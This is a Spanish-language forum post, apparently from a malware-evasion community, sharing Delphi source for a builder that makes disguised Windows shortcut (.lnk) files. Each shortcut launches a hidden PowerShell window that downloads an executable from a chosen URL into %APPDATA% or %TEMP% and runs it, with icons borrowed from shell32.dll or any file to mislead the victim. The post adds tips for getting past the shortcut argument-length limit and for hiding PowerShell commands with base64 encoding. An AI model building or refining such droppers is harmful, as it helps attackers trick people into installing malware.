Indetectables

falta codificar los argumentos con base64
tengo problemas con los 260 caracteres
y desconozco la powershell ,

nit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ImgList, ExtCtrls, ActiveX,ShlObj, ComObj,shellapi,unit2;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    ComboBox1: TComboBox;
    Label1: TLabel;
    Label2: TLabel;
    ImageList1: TImageList;
    ComboBox2: TComboBox;
    Button1: TButton;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    SaveDialog1: TSaveDialog;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    Button3: TButton;
    Edit3: TEdit;
    Label6: TLabel;
    Panel1: TPanel;
    Image1: TImage;
    CheckBox1: TCheckBox;
    Button4: TButton;
    Edit4: TEdit;
    Label7: TLabel;
    Label8: TLabel;
    procedure Button2Click(Sender: TObject);
    procedure ComboBox2DrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
    procedure Button1Click(Sender: TObject);
    procedure ComboBox2Change(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Label8Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}


    { Getting the System Directory }

function SystemDir: string;
var
  dir: array [0..MAX_PATH] of Char;
begin
  GetSystemDirectory(dir, MAX_PATH);
  Result := StrPas(dir);
end;


  //temp
function GetTempDir: string;
var
  Buffer: array[0..MAX_PATH] of Char;
begin

  GetTempPath(SizeOf(Buffer) - 1, Buffer);
  Result := StrPas(Buffer);
    end;
 //user datos de programa
 function getUserPath:string;
var pathString:array[0..1023] of char;
begin
   ShGetSpecialFolderPath(0,PChar(@pathString),CSIDL_APPDATA,false);
   result:=pathString;
end;
//O MAS FACIL
//GetEnvironmentVariable('appdata') ;


   function CreateDesktopShellLink(): Boolean;
var
  e:integer;
  COPYTO:STRING ;
  NAME:STRING;
  arg, arg1,arg2:string;
  IObject: IUnknown;
  ISLink: IShellLink;
  IPFile: IPersistFile;
  url:string;

 // path:string;
  LinkName: widestring;
  TargetName : String;
begin
   //codifico a base64 la url
  url:=encode64(form1.edit1.text);

  Result := False;
  IObject := CreateComObject(CLSID_ShellLink);
  ISLink := IObject as IShellLink;
  IPFile := IObject as IPersistFile;

  with ISLink do
  begin
  if form1.combobox1.text='APPDATA' THEN
    copyto:='%APPDATA%';
   if form1.combobox1.text=  'TEMP' then
    COPYTO:='%TEMP%';
     name:=form1.edit2.text;
    targetname := systemdir+'\WindowsPowerShell\v1.0\powershell.exe';
     arg1:= '-windowstyle hidden (new-object System.Net.WebClient).DownloadFile('''+form1.edit1.text+''','''+copyto+'\'+name+'.exe'''+'); Start-Process "'+copyto+'\'+name+'.exe"';
       SetPath(PChar(TargetName));  //la ubicacion de powershell
    //SetWorkingDirectory(PChar(ExtractFilePath(TargetName))); //muestra path al archivo targetname
    // SetArguments(PChar(Arg+arg1));
    SetArguments(PansiChar(arg1));
    SetDescription('');

    if form1.checkbox1.checked then   begin
    seticonLocation (pchar(form1.edit4.text),0);
    end
    else
      begin
    e:=strtoint(form1.combobox2.text);
    setIconLocation(pchar(systemdir+'\shell32.dll'),e)
    end;
    LinkName := form1.edit3.text + '.lnk';

  if not FileExists(LinkName) then  //comprobar el nombre a guardar
    //if IPFile.Save(PWideChar(LinkName), False) = S_OK then
   if IPFile.Save(PWChar(LinkName), False) = S_OK then
      Result := True;
      
     end;
      end;
procedure TForm1.ComboBox2Change(Sender: TObject);

var
  iconos:ticon;
 index:integer;

begin
 Image1.Picture:=nil;
  iconos := TIcon.Create;
  index:=strtoint(combobox2.Text);
    try
    iconos.Handle := ExtractIcon(hInstance, 'shell32.dll', index);
     Image1.Picture.Bitmap.Width := iconos.Width;
      Image1.Picture.Bitmap.Height := iconos.Height;
       Image1.Picture.Bitmap.Canvas.Draw(0,0,iconos);
         finally
         iconos.free ;
         end;
      label5.Caption:=combobox2.Text;
  
end;


procedure TForm1.Button2Click(Sender: TObject);
begin
if edit1.Text='' then begin
showmessage('no selecciono direcion url');
exit;
end;
if edit2.text='' then begin
  showmessage('no renombro  ejecutable de la descarga ');
  exit;
  end;
  if edit3.text='' then begin
  showmessage('no selecciono donde guardar el archivo resultante' );
  exit;
  end;

  if CreateDesktopShellLink then
    ShowMessage('acceso directo creado.')
    else
    showmessage('caramba ,hubo un error!');
end;

procedure TForm1.ComboBox2DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
    AnIcon : TIcon;
begin
    AnIcon := TIcon.Create;
    try
        form1.ImageList1.GetIcon (Index,AnIcon);
        with Control as TComboBox do begin
            Canvas.Draw (Rect.Left,Rect.Top,AnIcon);
            Canvas.TextOut (Rect.Left + form1.ImageList1.Width,Rect.Top,Items[Index]);
        end;
    finally
        AnIcon.Free;
    end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var
icon: TIcon;
i:integer;
begin
  imagelist1.Clear ;
icon := TIcon.Create;
try
for i:=0 to  237 do  begin

 icon.Handle:=(ExtractIcon(hInstance, 'shell32.dll', i));
 imagelist1.addicon(icon);

   end;
   finally
   icon.Free;
form1.ComboBox2.Items.Clear;
for i := 0 to ImageList1.Count-1 do begin
form1.ComboBox2.Items.Add(IntToStr(i));

end;
 end;
   end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  if savedialog1.Execute then
  edit3.Text:=savedialog1.FileName+'.ink';

end;

procedure TForm1.Button4Click(Sender: TObject);
var
icon:ticon;
Indice: word;
begin
image1.Picture:=nil;
if opendialog1.execute then
edit4.Text:=opendialog1.FileName;


  Icon := TIcon.Create;
  {Indice del icono a extraer}
  Indice := 0;
  Icon.handle := ExtractAssociatedIcon(hInstance, Pchar(edit4.text), Indice);
  Image1.Picture.Bitmap.Width := Icon.Width;
  Image1.Picture.Bitmap.Height := Icon.Height;
  Image1.Picture.Bitmap.Canvas.Draw(0, 0, Icon);
  Icon.Free;
  if   image1.Picture=nil   then
  showmessage ('no se puede extraer el icono');

end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if checkbox1.checked then  begin
 image1.Picture:= nil;
 combobox2.Clear;
 button1.enabled:=false;
   button4.enabled:=true;
 end
 else
 begin
 edit4.Text:='';
 image1.Picture:= nil;
 button1.enabled:=true;
   button4.enabled:=false;
end;
  end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  button4.enabled:=false;
end;

procedure TForm1.Label8Click(Sender: TObject);
begin
showmessage('los accesos directos no almacenan iconos'+#13#10+
' solo las rutas  a esos iconos,'#13#10+
' tenelo en cuenta al enviar a otra pc');
end;

end.

precaucion ver el codigo escrito asi ,puede causar que vomiten tus ojos

para que entre mas de 250 caracteres (veri long argumen)
se usa extraido de stackoverflow [Enlace externo eliminado para invitados]

procedure TForm1.Button1Click(Sender: TObject);
var

  sl: IShellLinkW;   //pwidechar

  pf: IPersistFile;

begin
CoCreateInstance(CLSID_ShellLink, nil,
    CLSCTX_INPROC_SERVER, IID_IShellLinkw, sl);
  sl.SetPath('c:\test.bat');
  sl.SetWorkingDirectory('c:\');
   //StringOfChar('x', 300) repite x 300 veces

   sl.SetArguments(pwidechar(StringOfChar('x', 300)+'_the_end'));
   sl.setIconLocation(('c:\windows\system32\shell32.dll'),8);
   pf := sl as IPersistFile;
  pf.Save('c:\test.lnk', False);
end;

para codificar en base 64 los argumentos ya esta expuesto el codigo en otro post
para ejecutar desde powershell
seria powershell.exe "-EncodedCommand ZABpAHIAIABjADoAXAA= " (esto es dir c:\ pueden probarlo)


eso es todo diria mi amigo dody
me tomo unas vacaciones y vuelvo
se ven al rato.